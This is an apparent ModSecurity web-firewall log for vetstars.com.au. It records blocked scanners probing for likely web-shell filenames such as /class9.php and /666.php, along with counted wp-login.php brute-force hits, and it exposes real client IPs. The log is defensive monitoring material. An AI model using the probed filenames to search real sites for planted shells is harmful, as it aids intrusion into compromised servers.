[Sun Mar 01 05:42:29.365555 2026] [:error] [pid 24576:tid 24597] [client 20.104.124.39:1489] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaNhRYvfb5CnctJh070PkwAAARE"]
[Sun Mar 01 05:42:30.189513 2026] [:error] [pid 21263:tid 21282] [client 20.104.124.39:17395] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaNhRtAxjzLvN1upBhnuTQAAAM8"]
[Sun Mar 01 05:42:30.735015 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:17311] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaNhRjHJ4Nn-RvulD0qilwAAAUQ"]
[Sun Mar 01 05:42:31.625736 2026] [:error] [pid 21158:tid 21199] [client 20.104.124.39:1511] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaNhRzriSIe3-pWnbPbnQgAAAEY"]
[Sun Mar 01 05:42:32.373205 2026] [:error] [pid 24576:tid 24591] [client 20.104.124.39:17283] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaNhSIvfb5CnctJh070PnwAAAQs"]
[Sun Mar 01 05:42:34.004057 2026] [:error] [pid 8688:tid 8712] [client 20.104.124.39:1467] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaNhSjHJ4Nn-RvulD0qiogAAAVY"]
[Sun Mar 01 05:42:34.714879 2026] [:error] [pid 21263:tid 21290] [client 20.104.124.39:1504] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaNhStAxjzLvN1upBhnuVgAAANc"]
[Sun Mar 01 05:42:35.489959 2026] [:error] [pid 24576:tid 24587] [client 20.104.124.39:1494] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaNhS4vfb5CnctJh070PqwAAAQg"]
[Sun Mar 01 05:42:36.436030 2026] [:error] [pid 21263:tid 21274] [client 20.104.124.39:17306] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaNhTNAxjzLvN1upBhnuWgAAAMc"]
[Sun Mar 01 05:42:37.370432 2026] [:error] [pid 21263:tid 21269] [client 20.104.124.39:1422] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaNhTdAxjzLvN1upBhnuYgAAAMI"]
[Sun Mar 01 05:42:38.209142 2026] [:error] [pid 8688:tid 8697] [client 20.104.124.39:1460] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaNhTjHJ4Nn-RvulD0qisAAAAUc"]
[Sun Mar 01 05:42:39.030587 2026] [:error] [pid 21159:tid 21223] [client 20.104.124.39:1409] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaNhT-Li3ouy1NZIkgorcAAAAII"]
[Sun Mar 01 05:42:40.153505 2026] [:error] [pid 21263:tid 21287] [client 20.104.124.39:1486] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaNhUNAxjzLvN1upBhnubQAAANQ"]
[Sun Mar 01 05:42:40.741175 2026] [:error] [pid 21263:tid 21284] [client 20.104.124.39:17303] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaNhUNAxjzLvN1upBhnucwAAANE"]
[Sun Mar 01 05:42:42.087316 2026] [:error] [pid 24576:tid 24580] [client 20.104.124.39:1501] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaNhUovfb5CnctJh070PvQAAAQE"]
[Sun Mar 01 05:42:43.202703 2026] [:error] [pid 24576:tid 24595] [client 20.104.124.39:17402] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaNhU4vfb5CnctJh070PwAAAAQ8"]
[Sun Mar 01 05:42:44.225690 2026] [:error] [pid 24576:tid 24586] [client 20.104.124.39:1449] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaNhVIvfb5CnctJh070PxgAAAQc"]
[Sun Mar 01 05:42:45.233908 2026] [:error] [pid 24576:tid 24579] [client 20.104.124.39:17371] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaNhVYvfb5CnctJh070PygAAAQA"]
[Sun Mar 01 05:42:45.951926 2026] [:error] [pid 8688:tid 8702] [client 20.104.124.39:1495] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaNhVTHJ4Nn-RvulD0qi1AAAAUw"]
[Sun Mar 01 05:42:48.602700 2026] [:error] [pid 8688:tid 8714] [client 20.104.124.39:17285] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaNhWDHJ4Nn-RvulD0qi4wAAAVg"]
[Sun Mar 01 05:42:49.304775 2026] [:error] [pid 21159:tid 21240] [client 20.104.124.39:17346] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaNhWeLi3ouy1NZIkgorgAAAAJM"]
[Sun Mar 01 05:42:49.937303 2026] [:error] [pid 8688:tid 8714] [client 20.104.124.39:17398] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaNhWTHJ4Nn-RvulD0qi7wAAAVg"]
[Sun Mar 01 05:42:50.790690 2026] [:error] [pid 8688:tid 8695] [client 20.104.124.39:17382] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaNhWjHJ4Nn-RvulD0qi9QAAAUU"]
[Sun Mar 01 05:42:51.449350 2026] [:error] [pid 24576:tid 24599] [client 20.104.124.39:1441] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaNhW4vfb5CnctJh070P2gAAARM"]
[Sun Mar 01 05:42:52.344634 2026] [:error] [pid 24576:tid 24585] [client 20.104.124.39:1427] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaNhXIvfb5CnctJh070P4gAAAQY"]
[Sun Mar 01 05:42:53.236028 2026] [:error] [pid 21263:tid 21286] [client 20.104.124.39:17367] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNhXdAxjzLvN1upBhnukgAAANM"]
[Sun Mar 01 05:42:53.792149 2026] [:error] [pid 21263:tid 21276] [client 20.104.124.39:17336] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNhXdAxjzLvN1upBhnulgAAAMk"]
[Sun Mar 01 05:42:54.541790 2026] [:error] [pid 8688:tid 8706] [client 20.104.124.39:1535] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNhXjHJ4Nn-RvulD0qjAQAAAVA"]
[Sun Mar 01 05:42:55.662639 2026] [:error] [pid 21156:tid 21180] [client 20.104.124.39:1487] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaNhX6saG_9IkG8N2p3t7gAAAA4"]
[Sun Mar 01 05:42:56.527758 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:17391] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaNhYDHJ4Nn-RvulD0qjBAAAAUQ"]
[Sun Mar 01 05:42:57.135781 2026] [:error] [pid 24576:tid 24600] [client 20.104.124.39:17310] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaNhYYvfb5CnctJh070P8QAAARQ"]
[Sun Mar 01 05:42:58.243805 2026] [:error] [pid 24576:tid 24592] [client 20.104.124.39:1517] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaNhYovfb5CnctJh070P9AAAAQw"]
[Sun Mar 01 05:42:59.182627 2026] [:error] [pid 21158:tid 21215] [client 20.104.124.39:17389] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaNhYzriSIe3-pWnbPbnVQAAAFY"]
[Sun Mar 01 05:43:00.004333 2026] [:error] [pid 21159:tid 21223] [client 20.104.124.39:1510] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaNhZOLi3ouy1NZIkgorlwAAAII"]
[Sun Mar 01 05:43:01.238830 2026] [:error] [pid 21159:tid 21228] [client 20.104.124.39:1428] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaNhZeLi3ouy1NZIkgormwAAAIc"]
[Sun Mar 01 05:43:02.506934 2026] [:error] [pid 21263:tid 21278] [client 20.104.124.39:1480] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaNhZtAxjzLvN1upBhnutAAAAMs"]
[Sun Mar 01 05:43:54.920686 2026] [:error] [pid 8688:tid 8713] [client 20.104.124.39:17375] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaNhmjHJ4Nn-RvulD0qj4AAAAVc"]
[Sun Mar 01 05:43:56.141626 2026] [:error] [pid 21263:tid 21289] [client 20.104.124.39:1519] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaNhnNAxjzLvN1upBhnvBQAAANY"]
[Sun Mar 01 05:43:56.808492 2026] [:error] [pid 21263:tid 21267] [client 20.104.124.39:1424] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaNhnNAxjzLvN1upBhnvDgAAAMA"]
[Sun Mar 01 05:43:57.840744 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:1436] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaNhnTHJ4Nn-RvulD0qj8gAAAUQ"]
[Sun Mar 01 05:43:58.394582 2026] [:error] [pid 21159:tid 21240] [client 20.104.124.39:1481] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaNhnuLi3ouy1NZIkgosJgAAAJM"]
[Sun Mar 01 05:43:59.212711 2026] [:error] [pid 8688:tid 8699] [client 20.104.124.39:17376] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaNhnzHJ4Nn-RvulD0qj_QAAAUk"]
[Sun Mar 01 05:44:00.146480 2026] [:error] [pid 8688:tid 8697] [client 20.104.124.39:1533] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaNhoDHJ4Nn-RvulD0qkAwAAAUc"]
[Sun Mar 01 05:44:01.171104 2026] [:error] [pid 21263:tid 21268] [client 20.104.124.39:1450] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaNhodAxjzLvN1upBhnvFgAAAME"]
[Sun Mar 01 05:44:02.479682 2026] [:error] [pid 24576:tid 24599] [client 20.104.124.39:1413] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaNhoovfb5CnctJh070RDQAAARM"]
[Sun Mar 01 05:44:03.690058 2026] [:error] [pid 24576:tid 24585] [client 20.104.124.39:17356] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaNho4vfb5CnctJh070RGgAAAQY"]
[Sun Mar 01 05:44:04.740513 2026] [:error] [pid 21159:tid 21226] [client 20.104.124.39:1434] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaNhpOLi3ouy1NZIkgosNAAAAIU"]
[Sun Mar 01 05:44:05.255610 2026] [:error] [pid 24576:tid 24587] [client 20.104.124.39:17386] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaNhpYvfb5CnctJh070RLQAAAQg"]
[Sun Mar 01 08:42:18.030597 2026] [:error] [pid 34286:tid 34295] [client 5.53.124.193:44104] [client 5.53.124.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.53.124.193, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOLanPFxpCIhHW6XmmW8QAAAoc"]
[Sun Mar 01 08:43:02.058956 2026] [:error] [pid 24576:tid 24582] [client 211.20.143.79:19873] [client 211.20.143.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aaOLlovfb5CnctJh070uywAAAQM"]
[Sun Mar 01 08:46:54.602928 2026] [:error] [pid 35350:tid 35372] [client 211.20.143.79:55895] [client 211.20.143.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaOMfoqZbPJ_JGYY1RTi8wAAA5Q"]
[Sun Mar 01 08:51:11.345760 2026] [:error] [pid 35350:tid 35362] [client 211.20.143.79:15909] [client 211.20.143.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaONf4qZbPJ_JGYY1RTjYwAAA4o"]
[Sun Mar 01 09:40:59.422284 2026] [:error] [pid 33767:tid 33788] [client 45.233.148.167:41430] [client 45.233.148.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.233.148.167, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOZK0GyeKe3MWsxvBj97QAAAhI"]
[Sun Mar 01 10:04:32.477718 2026] [:error] [pid 33767:tid 33774] [client 194.164.63.41:40756] [client 194.164.63.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.63.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOesEGyeKe3MWsxvBj--gAAAgQ"]
[Sun Mar 01 10:11:58.784613 2026] [:error] [pid 34286:tid 34294] [client 52.231.70.237:5975] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaOgbnPFxpCIhHW6XmmanwAAAoY"]
[Sun Mar 01 10:11:59.347602 2026] [:error] [pid 34286:tid 34294] [client 52.231.70.237:37290] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaOgb3PFxpCIhHW6XmmaogAAAoY"]
[Sun Mar 01 10:11:59.886407 2026] [:error] [pid 33539:tid 33548] [client 52.231.70.237:37277] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaOgb9CsLwBYg4s018uvxQAAAcM"]
